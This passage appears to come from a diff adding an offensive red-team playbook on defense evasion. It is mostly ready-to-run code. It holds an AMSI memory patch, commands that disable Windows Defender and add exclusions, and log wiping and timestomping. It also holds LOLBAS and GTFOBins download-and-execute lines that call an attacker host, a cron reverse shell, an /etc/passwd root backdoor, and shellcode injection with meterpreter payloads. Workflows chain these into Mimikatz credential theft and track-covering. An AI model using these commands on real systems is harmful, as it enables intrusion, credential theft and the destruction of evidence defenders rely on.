IntPtr fn = GetProcAddress(lib, "AmsiScanBuffer");
|
|
249
|
+
uint old;
|
|
250
|
+
VirtualProtect(fn, (UIntPtr)5, 0x40, out old);
|
|
251
|
+
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
|
252
|
+
Marshal.Copy(patch, 0, fn, patch.Length);
|
|
253
|
+
VirtualProtect(fn, (UIntPtr)5, old, out _);
|
|
254
|
+
}
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
### 3. Windows Defender Exclusion Manipulation
|
|
260
|
+
|
|
261
|
+
Requires local administrator or SYSTEM privileges.
|
|
262
|
+
|
|
263
|
+
```powershell
|
|
264
|
+
# Add path exclusion
|
|
265
|
+
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
|
|
266
|
+
Add-MpPreference -ExclusionPath "C:\Users\Public"
|
|
267
|
+
|
|
268
|
+
# Add process exclusion (exclude a specific binary from scanning)
|
|
269
|
+
Add-MpPreference -ExclusionProcess "powershell.exe"
|
|
270
|
+
Add-MpPreference -ExclusionProcess "rundll32.exe"
|
|
271
|
+
|
|
272
|
+
# Add extension exclusion
|
|
273
|
+
Add-MpPreference -ExclusionExtension ".ps1"
|
|
274
|
+
Add-MpPreference -ExclusionExtension ".hta"
|
|
275
|
+
|
|
276
|
+
# Disable real-time monitoring (high noise — avoid unless necessary)
|
|
277
|
+
Set-MpPreference -DisableRealtimeMonitoring $true
|
|
278
|
+
|
|
279
|
+
# Disable behavior monitoring
|
|
280
|
+
Set-MpPreference -DisableBehaviorMonitoring $true
|
|
281
|
+
|
|
282
|
+
# Disable IOAV protection (downloaded file scanning)
|
|
283
|
+
Set-MpPreference -DisableIOAVProtection $true
|
|
284
|
+
|
|
285
|
+
# Check current exclusions
|
|
286
|
+
Get-MpPreference | Select-Object -Property Exclusion*
|
|
287
|
+
|
|
288
|
+
# Via registry (alternative to cmdlet — useful when cmdlet is blocked)
|
|
289
|
+
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\Temp" /t REG_DWORD /d 0 /f
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
**OPSEC note:** Defender exclusion changes generate event ID 5007 in the Windows Defender operational log. Disable behavioral monitoring only if EDR is confirmed to be Defender-only, not a third-party EDR.
|
|
293
|
+
|
|
294
|
+
---
|
|
295
|
+
|
|
296
|
+
### 4. Log Clearing
|
|
297
|
+
|
|
298
|
+
#### 4a. Windows Event Log Clearing
|
|
299
|
+
|
|
300
|
+
```powershell
|
|
301
|
+
# Clear all common logs (requires admin)
|
|
302
|
+
wevtutil cl System
|
|
303
|
+
wevtutil cl Security
|
|
304
|
+
wevtutil cl Application
|
|
305
|
+
wevtutil cl "Windows PowerShell"
|
|
306
|
+
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
|
|
307
|
+
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
|
|
308
|
+
|
|
309
|
+
# Clear via PowerShell cmdlet
|
|
310
|
+
Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }
|
|
311
|
+
|
|
312
|
+
# Clear specific log entries by event ID (surgical — less detectable than full wipe)
|
|
313
|
+
# Requires custom tooling — see: https://github.com/3gstudent/Eventlogedit-evtx--Evolution
|
|
314
|
+
|
|
315
|
+
# Disable Windows Event Log service (extreme — causes immediate alert)
|
|
316
|
+
sc stop eventlog
|
|
317
|
+
sc config eventlog start= disabled
|
|
318
|
+
|
|
319
|
+
# Delete log files directly (System must be stopped first)
|
|
320
|
+
# Path: C:\Windows\System32\winevt\Logs\
|
|
321
|
+
Stop-Service -Name EventLog -Force
|
|
322
|
+
Remove-Item "C:\Windows\System32\winevt\Logs\Security.evtx" -Force
|
|
323
|
+
Start-Service -Name EventLog
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
```cmd
|
|
327
|
+
# From cmd.exe without PowerShell
|
|
328
|
+
for /F "tokens=*" %G in ('wevtutil el') do wevtutil cl "%G"
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
#### 4b. Linux auth.log Clearing
|
|
332
|
+
|
|
333
|
+
```bash
|
|
334
|
+
# Clear auth.log (requires root)
|
|
335
|
+
> /var/log/auth.log
|
|
336
|
+
cat /dev/null > /var/log/auth.log
|
|
337
|
+
truncate -s 0 /var/log/auth.log
|
|
338
|
+
|
|
339
|
+
# Clear all common logs
|
|
340
|
+
> /var/log/syslog
|
|
341
|
+
> /var/log/messages
|
|
342
|
+
> /var/log/secure # RHEL/CentOS equivalent of auth.log
|
|
343
|
+
> /var/log/kern.log
|
|
344
|
+
> /var/log/wtmp # login records
|
|
345
|
+
> /var/log/btmp # failed login records
|
|
346
|
+
> /var/log/lastlog
|
|
347
|
+
|
|
348
|
+
# Clear bash history for current user
|
|
349
|
+
history -c
|
|
350
|
+
history -w
|
|
351
|
+
cat /dev/null > ~/.bash_history
|
|
352
|
+
unset HISTFILE
|
|
353
|
+
export HISTSIZE=0
|
|
354
|
+
|
|
355
|
+
# Prevent history logging for current session
|
|
356
|
+
export HISTFILE=/dev/null
|
|
357
|
+
export HISTSIZE=0
|
|
358
|
+
export HISTFILESIZE=0
|
|
359
|
+
|
|
360
|
+
# Clear specific lines from auth.log (surgical — remove only your IP)
|
|
361
|
+
ATTACKER_IP="10.10.10.10"
|
|
362
|
+
sed -i "/$ATTACKER_IP/d" /var/log/auth.log
|
|
363
|
+
|
|
364
|
+
# Remove .bash_history for all users (root required)
|
|
365
|
+
find /home -name ".bash_history" -exec truncate -s 0 {} \;
|
|
366
|
+
truncate -s 0 /root/.bash_history
|
|
367
|
+
|
|
368
|
+
# Disable rsyslog temporarily (stops new entries — very noisy)
|
|
369
|
+
systemctl stop rsyslog
|
|
370
|
+
# ... perform actions ...
|
|
371
|
+
systemctl start rsyslog
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
**OPSEC note:** Log clearing itself generates event 1102 (Security log cleared) and 104 (System log cleared) on Windows. On Linux, truncating logs while rsyslog holds a file handle may cause rsyslog to recreate the file — verify with `lsof | grep auth.log`. Consider log injection (overwriting with clean baseline) instead of full clearing on mature environments.
|
|
375
|
+
|
|
376
|
+
---
|
|
377
|
+
|
|
378
|
+
### 5. Timestomping
|
|
379
|
+
|
|
380
|
+
Modify MAC (Modified, Accessed, Created) timestamps to blend dropped files into the filesystem.
|
|
381
|
+
|
|
382
|
+
#### 5a. Linux — touch
|
|
383
|
+
|
|
384
|
+
```bash
|
|
385
|
+
# Set all timestamps to match a reference file
|
|
386
|
+
touch -r /bin/ls /tmp/malicious.sh
|
|
387
|
+
|
|
388
|
+
# Set specific timestamp (YYYYMMDDHHMM.SS format)
|
|
389
|
+
touch -t 202301151200.00 /tmp/malicious.sh
|
|
390
|
+
|
|
391
|
+
# Set access and modification time separately
|
|
392
|
+
touch -a -t 202301151200.00 /tmp/malicious.sh # access time
|
|
393
|
+
touch -m -t 202301151200.00 /tmp/malicious.sh # modification time
|
|
394
|
+
|
|
395
|
+
# Copy timestamps from a legitimate file on the same system
|
|
396
|
+
touch -r /etc/passwd /tmp/implant.py
|
|
397
|
+
|
|
398
|
+
# Verify
|
|
399
|
+
stat /tmp/malicious.sh
|
|
400
|
+
ls -la --full-time /tmp/malicious.sh
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
#### 5b. Windows — PowerShell Timestomping
|
|
404
|
+
|
|
405
|
+
```powershell
|
|
406
|
+
# Set all timestamps to match a legitimate file
|
|
407
|
+
$ref = Get-Item "C:\Windows\System32\notepad.exe"
|
|
408
|
+
$target = Get-Item "C:\Windows\Temp\payload.exe"
|
|
409
|
+
|
|
410
|
+
$target.CreationTime = $ref.CreationTime
|
|
411
|
+
$target.LastWriteTime = $ref.LastWriteTime
|
|
412
|
+
$target.LastAccessTime = $ref.LastAccessTime
|
|
413
|
+
|
|
414
|
+
# Set to arbitrary date
|
|
415
|
+
$date = [DateTime]::Parse("2022-06-15 10:30:00")
|
|
416
|
+
$file = Get-Item "C:\Windows\Temp\loader.dll"
|
|
417
|
+
$file.CreationTime = $date
|
|
418
|
+
$file.LastWriteTime = $date
|
|
419
|
+
$file.LastAccessTime = $date
|
|
420
|
+
|
|
421
|
+
# Verify
|
|
422
|
+
Get-Item "C:\Windows\Temp\loader.dll" | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime
|
|
423
|
+
```
|
|
424
|
+
|
|
425
|
+
```cmd
|
|
426
|
+
# Via cmd.exe using copy trick (less precise)
|
|
427
|
+
copy /b "C:\Windows\Temp\payload.exe" + ,, "C:\Windows\Temp\payload.exe"
|
|
428
|
+
```
|
|
429
|
+
|
|
430
|
+
**OPSEC note:** $MFT timestamps (the Master File Table record) are separate from $STANDARD_INFORMATION timestamps. PowerShell and .NET modify $STANDARD_INFORMATION only. Forensic tools read $FILE_NAME timestamps from MFT, which PowerShell does not patch. Use a dedicated timestomping tool (Metasploit `timestomp` module, or SetMace) to patch both attributes.
|
|
431
|
+
|
|
432
|
+
```bash
|
|
433
|
+
# Metasploit timestomp via Meterpreter
|
|
434
|
+
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -m "01/15/2022 10:30:00"
|
|
435
|
+
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -a "01/15/2022 10:30:00"
|
|
436
|
+
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -c "01/15/2022 10:30:00"
|
|
437
|
+
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -e "01/15/2022 10:30:00"
|
|
438
|
+
```
|
|
439
|
+
|
|
440
|
+
---
|
|
441
|
+
|
|
442
|
+
### 6. LOLBAS — Living Off the Land Binaries (Windows)
|
|
443
|
+
|
|
444
|
+
Use signed Microsoft binaries to execute, download, and proxy malicious activity.
|
|
445
|
+
|
|
446
|
+
```powershell
|
|
447
|
+
# Reference: https://lolbas-project.github.io/
|
|
448
|
+
|
|
449
|
+
# --- Execution ---
|
|
450
|
+
|
|
451
|
+
# certutil — decode and execute base64 payload
|
|
452
|
+
certutil -decode payload.b64 payload.exe
|
|
453
|
+
certutil -urlcache -split -f http://10.10.10.10/payload.exe C:\Windows\Temp\p.exe
|
|
454
|
+
|
|
455
|
+
# mshta — execute HTA from remote URL
|
|
456
|
+
mshta.exe http://10.10.10.10/payload.hta
|
|
457
|
+
mshta.exe javascript:a=new%20ActiveXObject('WScript.Shell');a.Run('cmd /c payload.exe',0,true);close()
|
|
458
|
+
|
|
459
|
+
# regsvr32 — COM scriptlet execution (squiblydoo)
|
|
460
|
+
regsvr32.exe /s /n /u /i:http://10.10.10.10/payload.sct scrobj.dll
|
|
461
|
+
|
|
462
|
+
# rundll32 — DLL execution
|
|
463
|
+
rundll32.exe C:\Windows\Temp\payload.dll,EntryPoint
|
|
464
|
+
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.10.10.10/payload.sct")
|
|
465
|
+
|
|
466
|
+
# wscript / cscript — VBScript / JScript
|
|
467
|
+
wscript.exe //E:jscript payload.js
|
|
468
|
+
cscript.exe //nologo payload.vbs
|
|
469
|
+
|
|
470
|
+
# msiexec — install MSI from remote URL
|
|
471
|
+
msiexec /q /i http://10.10.10.10/payload.msi
|
|
472
|
+
|
|
473
|
+
# PsExec alternative via wmic
|
|
474
|
+
wmic process call create "cmd /c whoami > C:\Windows\Temp\out.txt"
|
|
475
|
+
|
|
476
|
+
# forfiles — execute via file enumeration
|
|
477
|
+
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc.exe"
|
|
478
|
+
|
|
479
|
+
# pcalua — Program Compatibility Assistant execution bypass
|
|
480
|
+
pcalua.exe -a calc.exe
|
|
481
|
+
|
|
482
|
+
# --- Download ---
|
|
483
|
+
|
|
484
|
+
# bitsadmin
|
|
485
|
+
bitsadmin /transfer job1 http://10.10.10.10/payload.exe C:\Windows\Temp\payload.exe
|
|
486
|
+
|
|
487
|
+
# PowerShell webclient (baseline, expect detection)
|
|
488
|
+
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/p.exe','C:\Windows\Temp\p.exe')
|
|
489
|
+
|
|
490
|
+
# Excel / Word macro download (requires Office)
|
|
491
|
+
# Documented but requires user interaction
|
|
492
|
+
|
|
493
|
+
# --- Compile and Execute ---
|
|
494
|
+
|
|
495
|
+
# csc.exe — C# compiler (ships with .NET)
|
|
496
|
+
echo 'using System;class P{static void Main(){System.Diagnostics.Process.Start("calc.exe");}}' > C:\Windows\Temp\p.cs
|
|
497
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Windows\Temp\p.exe C:\Windows\Temp\p.cs
|
|
498
|
+
C:\Windows\Temp\p.exe
|
|
499
|
+
|
|
500
|
+
# msbuild — execute inline C# task from XML project file
|
|
501
|
+
msbuild.exe C:\Windows\Temp\payload.csproj
|
|
502
|
+
|
|
503
|
+
# --- Proxy Execution to Bypass AppLocker ---
|
|
504
|
+
|
|
505
|
+
# installutil
|
|
506
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
|
|
507
|
+
|
|
508
|
+
# regasm
|
|
509
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u payload.dll
|
|
510
|
+
```
|
|
511
|
+
|
|
512
|
+
---
|
|
513
|
+
|
|
514
|
+
### 7. GTFOBins — Living Off the Land (Linux)
|
|
515
|
+
|
|
516
|
+
```bash
|
|
517
|
+
# Reference: https://gtfobins.github.io/
|
|
518
|
+
|
|
519
|
+
# --- Shell escape from restricted environments ---
|
|
520
|
+
|
|
521
|
+
# python
|
|
522
|
+
python3 -c 'import os; os.system("/bin/bash")'
|
|
523
|
+
|
|
524
|
+
# perl
|
|
525
|
+
perl -e 'exec "/bin/bash";'
|
|
526
|
+
|
|
527
|
+
# awk
|
|
528
|
+
awk 'BEGIN {system("/bin/bash")}'
|
|
529
|
+
|
|
530
|
+
# find — spawn shell
|
|
531
|
+
find / -exec /bin/bash -p \; -quit 2>/dev/null
|
|
532
|
+
|
|
533
|
+
# vim — if editor is available
|
|
534
|
+
vim -c ':!/bin/bash'
|
|
535
|
+
|
|
536
|
+
# --- File read (bypass restricted read access) ---
|
|
537
|
+
|
|
538
|
+
# openssl
|
|
539
|
+
openssl enc -in /etc/shadow
|
|
540
|
+
|
|
541
|
+
# base64
|
|
542
|
+
base64 /etc/shadow | base64 -d
|
|
543
|
+
|
|
544
|
+
# --- SUID privilege escalation ---
|
|
545
|
+
|
|
546
|
+
# Find SUID binaries
|
|
547
|
+
find / -perm -4000 -type f 2>/dev/null
|
|
548
|
+
|
|
549
|
+
# tar with SUID
|
|
550
|
+
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
|
|
551
|
+
|
|
552
|
+
# cp — overwrite /etc/passwd
|
|
553
|
+
cp /etc/passwd /tmp/passwd.bak
|
|
554
|
+
echo 'r00t::0:0::/root:/bin/bash' >> /etc/passwd
|
|
555
|
+
su r00t
|
|
556
|
+
|
|
557
|
+
# --- Download via GTFOBins ---
|
|
558
|
+
|
|
559
|
+
# curl (already a living-off-the-land tool)
|
|
560
|
+
curl http://10.10.10.10/payload.sh -o /tmp/payload.sh
|
|
561
|
+
|
|
562
|
+
# wget
|
|
563
|
+
wget http://10.10.10.10/payload.sh -O /tmp/payload.sh
|
|
564
|
+
|
|
565
|
+
# python
|
|
566
|
+
python3 -c "import urllib.request; urllib.request.urlretrieve('http://10.10.10.10/p','./p')"
|
|
567
|
+
|
|
568
|
+
# --- Cron abuse ---
|
|
569
|
+
|
|
570
|
+
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/cron.d/job
|
|
571
|
+
```
|
|
572
|
+
|
|
573
|
+
---
|
|
574
|
+
|
|
575
|
+
### 8. Process Injection (Concepts and Implementation)
|
|
576
|
+
|
|
577
|
+
**Important:** Detailed shellcode injection is engagement-specific. The patterns below are documented for educational use within authorized engagements.
|
|
578
|
+
|
|
579
|
+
#### 8a. Classic VirtualAllocEx / WriteProcessMemory / CreateRemoteThread (C)
|
|
580
|
+
|
|
581
|
+
```c
|
|
582
|
+
// Canonical CreateRemoteThread injection skeleton
|
|
583
|
+
// Compile: x86_64-w64-mingw32-gcc inject.c -o inject.exe
|
|
584
|
+
|
|
585
|
+
#include <windows.h>
|
|
586
|
+
#include <stdio.h>
|
|
587
|
+
|
|
588
|
+
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c
|
|
589
|
+
unsigned char shellcode[] = "\xfc\x48..."; // replace with actual shellcode
|
|
590
|
+
|
|
591
|
+
int main(int argc, char* argv[]) {
|
|
592
|
+
DWORD pid = atoi(argv[1]);
|
|
593
|
+
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
594
|
+
if (!hProc) { printf("OpenProcess failed\n"); return 1; }
|
|
595
|
+
|
|
596
|
+
LPVOID addr = VirtualAllocEx(hProc, NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
597
|
+
WriteProcessMemory(hProc, addr, shellcode, sizeof(shellcode), NULL);
|
|
598
|
+
|
|
599
|
+
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
|
|
600
|
+
WaitForSingleObject(hThread, INFINITE);
|
|
601
|
+
|
|
602
|
+
CloseHandle(hThread);
|
|
603
|
+
CloseHandle(hProc);
|
|
604
|
+
return 0;
|
|
605
|
+
}
|
|
606
|
+
```
|
|
607
|
+
|
|
608
|
+
```bash
|
|
609
|
+
# Cross-compile on Kali
|
|
610
|
+
x86_64-w64-mingw32-gcc inject.c -o inject.exe -lws2_32
|
|
611
|
+
```
|
|
612
|
+
|
|
613
|
+
#### 8b. Process Hollowing Concept (ADVANCED)
|
|
614
|
+
|
|
615
|
+
Process hollowing creates a legitimate process in suspended state, unmaps its image, writes malicious code, then resumes execution. Tools:
|
|
616
|
+
|
|
617
|
+
```bash
|
|
618
|
+
# Use existing tools for process hollowing
|
|
619
|
+
# Metasploit module: post/windows/manage/shellcode_inject
|
|
620
|
+
# Cobalt Strike: shinject / inject commands
|
|
621
|
+
|
|
622
|
+
# RunPE implementations
|
|
623
|
+
git clone https://github.com/aaaddress1/RunPE-In-Memory ~/tools/RunPE
|
|
624
|
+
```
|
|
625
|
+
|
|
626
|
+
#### 8c. DLL Injection via PowerShell (INTERMEDIATE)
|
|
627
|
+
|
|
628
|
+
```powershell
|
|
629
|
+
# Reflective DLL injection via Invoke-ReflectivePEInjection (PowerSploit)
|
|
630
|
+
git clone https://github.com/PowerShellMafia/PowerSploit ~/tools/PowerSploit
|
|
631
|
+
|
|
632
|
+
# Load and inject
|
|
633
|
+
Import-Module ~/tools/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
|
|
634
|
+
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\Temp\payload.dll")
|
|
635
|
+
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcName explorer
|
|
636
|
+
```
|
|
637
|
+
|
|
638
|
+
#### 8d. Donut — Convert .NET to Shellcode (ADVANCED)
|
|
639
|
+
|
|
640
|
+
```bash
|
|
641
|
+
# Generate shellcode from .NET assembly
|
|
642
|
+
cd ~/tools/donut
|
|
643
|
+
./donut -f 1 -a 2 -o shellcode.bin payload.exe
|
|
644
|
+
|
|
645
|
+
# Output as C array
|
|
646
|
+
./donut -f 2 -a 2 -o shellcode.c payload.exe
|
|
647
|
+
|
|
648
|
+
# Encrypt the shellcode
|
|
649
|
+
./donut -f 1 -a 2 -e 3 -o shellcode.bin payload.exe
|
|
650
|
+
```
|
|
651
|
+
|
|
652
|
+
#### 8e. ScareCrow — EDR-Aware Loader (EXPERT)
|
|
653
|
+
|
|
654
|
+
```bash
|
|
655
|
+
cd ~/tools/ScareCrow
|
|
656
|
+
|
|
657
|
+
# Generate loader that unhooks EDR and injects shellcode
|
|
658
|
+
./ScareCrow -I shellcode.bin -domain "microsoft.com" -Loader binary
|
|
659
|
+
|
|
660
|
+
# Generate DLL loader
|
|
661
|
+
./ScareCrow -I shellcode.bin -Loader dll -domain "microsoft.com"
|
|
662
|
+
|
|
663
|
+
# Generate with sleep obfuscation
|
|
664
|
+
./ScareCrow -I shellcode.bin -Loader binary -sleep 30
|
|
665
|
+
```
|
|
666
|
+
|
|
667
|
+
---
|
|
668
|
+
|
|
669
|
+
### 9. Obfuscation Techniques
|
|
670
|
+
|
|
671
|
+
#### 9a. Base64 Encoding (BEGINNER)
|
|
672
|
+
|
|
673
|
+
```bash
|
|
674
|
+
# Encode PowerShell command
|
|
675
|
+
python3 -c "
|
|
676
|
+
import base64
|
|
677
|
+
cmd = 'IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.10.10/payload.ps1\")'
|
|
678
|
+
encoded = base64.b64encode(cmd.encode('utf-16-le')).decode()
|
|
679
|
+
print(f'powershell -enc {encoded}')
|
|
680
|
+
"
|
|
681
|
+
```
|
|
682
|
+
|
|
683
|
+
#### 9b. Invoke-Obfuscation (INTERMEDIATE)
|
|
684
|
+
|
|
685
|
+
```powershell
|
|
686
|
+
# On Windows or PowerShell on Kali
|
|
687
|
+
Import-Module ~/tools/Invoke-Obfuscation/Invoke-Obfuscation.psd1
|
|
688
|
+
|
|
689
|
+
# Interactive menu
|
|
690
|
+
Invoke-Obfuscation
|
|
691
|
+
|
|
692
|
+
# Or direct obfuscation
|
|
693
|
+
$payload = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")'
|
|
694
|
+
Invoke-Obfuscation -ScriptBlock ([ScriptBlock]::Create($payload)) -Command 'TOKEN\ALL\1' -Quiet
|
|
695
|
+
```
|
|
696
|
+
|
|
697
|
+
#### 9c. Chameleon — Python-Based Obfuscator (INTERMEDIATE)
|
|
698
|
+
|
|
699
|
+
```bash
|
|
700
|
+
cd ~/tools/chameleon
|
|
701
|
+
|
|
702
|
+
# Obfuscate a PowerShell script
|
|
703
|
+
python3 chameleon.py -i payload.ps1 -o obfuscated.ps1
|
|
704
|
+
|
|
705
|
+
# With variable renaming and string obfuscation
|
|
706
|
+
python3 chameleon.py -i payload.ps1 -o obfuscated.ps1 -v -s
|
|
707
|
+
|
|
708
|
+
# Check detection rate concept (use VirusTotal API in isolated lab)
|
|
709
|
+
python3 chameleon.py -i payload.ps1 -o obfuscated.ps1 --verbose
|
|
710
|
+
```
|
|
711
|
+
|
|
712
|
+
#### 9d. String Concatenation (BEGINNER)
|
|
713
|
+
|
|
714
|
+
```powershell
|
|
715
|
+
# Break up detectable strings
|
|
716
|
+
$a = 'Invoke-'
|
|
717
|
+
$b = 'Mimikatz'
|
|
718
|
+
& ($a + $b)
|
|
719
|
+
|
|
720
|
+
# Use char codes
|
|
721
|
+
[char]73+[char]69+[char]88 # = IEX
|
|
722
|
+
|
|
723
|
+
# Format operator
|
|
724
|
+
'{0}{1}' -f 'Invoke-','Mimikatz'
|
|
725
|
+
|
|
726
|
+
# Join array
|
|
727
|
+
-join ('I','E','X')
|
|
728
|
+
```
|
|
729
|
+
|
|
730
|
+
#### 9e. XOR Encoding for Shellcode (ADVANCED)
|
|
731
|
+
|
|
732
|
+
```python
|
|
733
|
+
# XOR encode shellcode to avoid static signatures
|
|
734
|
+
key = 0x41
|
|
735
|
+
shellcode = b"\xfc\x48\x83..." # raw shellcode bytes
|
|
736
|
+
|
|
737
|
+
encoded = bytearray()
|
|
738
|
+
for b in shellcode:
|
|
739
|
+
encoded.append(b ^ key)
|
|
740
|
+
|
|
741
|
+
# Output as C array
|
|
742
|
+
print("unsigned char enc[] = {" + ",".join(f"0x{x:02x}" for x in encoded) + "};")
|
|
743
|
+
```
|
|
744
|
+
|
|
745
|
+
```c
|
|
746
|
+
// Decoder stub in C
|
|
747
|
+
void decode(unsigned char* buf, int len, unsigned char key) {
|
|
748
|
+
for(int i=0; i<len; i++) buf[i] ^= key;
|
|
749
|
+
}
|
|
750
|
+
```
|
|
751
|
+
|
|
752
|
+
---
|
|
753
|
+
|
|
754
|
+
## Attack Workflows
|
|
755
|
+
|
|
756
|
+
### Workflow 1: PowerShell Payload Execution Past Defender
|
|
757
|
+
|
|
758
|
+
**Scenario:** You have a foothold via phishing. The target runs Windows 10 with Windows Defender. You need to run Mimikatz for credential harvesting.
|
|
759
|
+
|
|
760
|
+
```
|
|
761
|
+
Step 1 — Verify AV and logging status
|
|
762
|
+
Step 2 — Bypass AMSI
|
|
763
|
+
Step 3 — Add exclusion for staging directory
|
|
764
|
+
Step 4 — Download and execute payload
|
|
765
|
+
Step 5 — Clear PS logs
|
|
766
|
+
```
|
|
767
|
+
|
|
768
|
+
```powershell
|
|
769
|
+
# Step 1 — Check AV status
|
|
770
|
+
Get-MpComputerStatus | Select-Object AMRunningMode, RealTimeProtectionEnabled
|
|
771
|
+
|
|
772
|
+
# Step 2 — AMSI bypass (split-string to avoid signature)
|
|
773
|
+
$x='Amsi'+'Utils'; $y='amsi'+'InitFailed'
|
|
774
|
+
[Ref].Assembly.GetType('System.Management.Automation.'+$x).GetField($y,'NonPublic,Static').SetValue($null,$true)
|
|
775
|
+
|
|
776
|
+
# Step 3 — Add exclusion for working directory
|
|
777
|
+
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
|
|
778
|
+
Add-MpPreference -ExclusionProcess "powershell.exe"
|
|
779
|
+
|
|
780
|
+
# Step 4 — Download and execute from excluded path
|
|
781
|
+
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/Invoke-Mimikatz.ps1','C:\Windows\Temp\im.ps1')
|
|
782
|
+
Import-Module C:\Windows\Temp\im.ps1
|
|
783
|
+
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
|
|
784
|
+
|
|
785
|
+
# Step 5 — Clear PowerShell operational log
|
|
786
|
+
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
|
|
787
|
+
wevtutil cl "Windows PowerShell"
|
|
788
|
+
```
|
|
789
|
+
|
|
790
|
+
---
|
|
791
|
+
|
|
792
|
+
### Workflow 2: Linux Lateral Movement with Log Sanitization
|
|
793
|
+
|
|
794
|
+
**Scenario:** You SSH'd into a Linux server using a stolen credential. You need to pivot further and cover your tracks.
|
|
795
|
+
|
|
796
|
+
```bash
|
|
797
|
+
# Step 1 — Suppress history immediately on login
|
|
798
|
+
export HISTFILE=/dev/null
|
|
799
|
+
export HISTSIZE=0
|
|
800
|
+
|
|
801
|
+
# Step 2 — Check who else is logged in and what's being logged
|
|
802
|
+
who
|
|
803
|
+
w
|
|
804
|
+
last | head -20
|
|
805
|
+
cat /var/log/auth.log | tail -50
|
|
806
|
+
|
|
807
|
+
# Step 3 — Download implant using LOLBAS-equivalent on Linux
|
|
808
|
+
curl http://10.10.10.10/implant -o /tmp/.cache
|
|
809
|
+
chmod +x /tmp/.cache
|
|
810
|
+
|
|
811
|
+
# Step 4 — Timestomp the implant
|
|
812
|
+
touch -r /bin/ls /tmp/.cache
|
|
813
|
+
|
|
814
|
+
# Step 5 — Execute implant in background
|
|
815
|
+
nohup /tmp/.cache &>/dev/null &
|
|
816
|
+
|
|
817
|
+
# Step 6 — Clear auth.log entries referencing attacker IP
|
|
818
|
+
ATTACKER_IP="10.10.10.10"
|
|
819
|
+
sed -i "/$ATTACKER_IP/d" /var/log/auth.log
|
|
820
|
+
sed -i "/$ATTACKER_IP/d" /var/log/syslog
|
|
821
|
+
|
|
822
|
+
# Step 7 — Clear wtmp and lastlog entries
|
|
823
|
+
> /var/log/wtmp
|
|
824
|
+
> /var/log/btmp
|
|
825
|
+
|
|
826
|
+
# Step 8 — Verify cleanup
|
|
827
|
+
last | head -10
|
|
828
|
+
who
|
|
829
|
+
```
|
|
830
|
+
|
|
831
|
+
---
|
|
832
|
+
|
|
833
|
+
### Workflow 3: EDR Bypass via LOLBAS and Process Injection (ADVANCED)
|
|
834
|
+
|
|
835
|
+
**Scenario:** Target has CrowdStrike Falcon. You cannot drop a standard Meterpreter EXE. You use living-off-the-land techniques to stage and inject shellcode into a trusted process.
|
|
836
|
+
|
|
837
|
+
```bash
|
|
838
|
+
# Step 1 — On Kali: Generate raw shellcode
|
|
839
|
+
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f raw -o shellcode.bin
|
|
840
|
+
|
|
841
|
+
# Step 2 — On Kali: Wrap in Donut for position-independent shellcode
|
|
842
|
+
cd ~/tools/donut
|
|
843
|
+
./donut -f 1 -a 2 -e 3 -o shellcode_enc.bin shellcode.bin
|
|
844
|
+
|
|
845
|
+
# Step 3 — On Kali: Create ScareCrow loader
|
|
846
|
+
cd ~/tools/ScareCrow
|
|
847
|
+
./ScareCrow -I ../donut/shellcode_enc.bin -Loader binary -domain "windowsupdate.com" -sleep 30 -o loader.exe
|
|
848
|
+
|
|
849
|
+
# Step 4 — On Kali: Host the loader
|
|
850
|
+
python3 -m http.server 8080
|
|
851
|
+
|
|
852
|
+
# Step 5 — On target: Download using certutil (LOLBAS)
|
|
853
|
+
certutil -urlcache -split -f http://10.10.10.10:8080/loader.exe C:\Windows\Temp\wu.exe
|
|
854
|
+
|
|
855
|
+
# Step 6 — On target: Timestomp the binary
|
|
856
|
+
$ref = Get-Item "C:\Windows\System32\svchost.exe"
|
|
857
|
+
$target = Get-Item "C:\Windows\Temp\wu.exe"
|
|
858
|
+
$target.CreationTime = $ref.CreationTime
|
|
859
|
+
$target.LastWriteTime = $ref.LastWriteTime
|
|
860
|
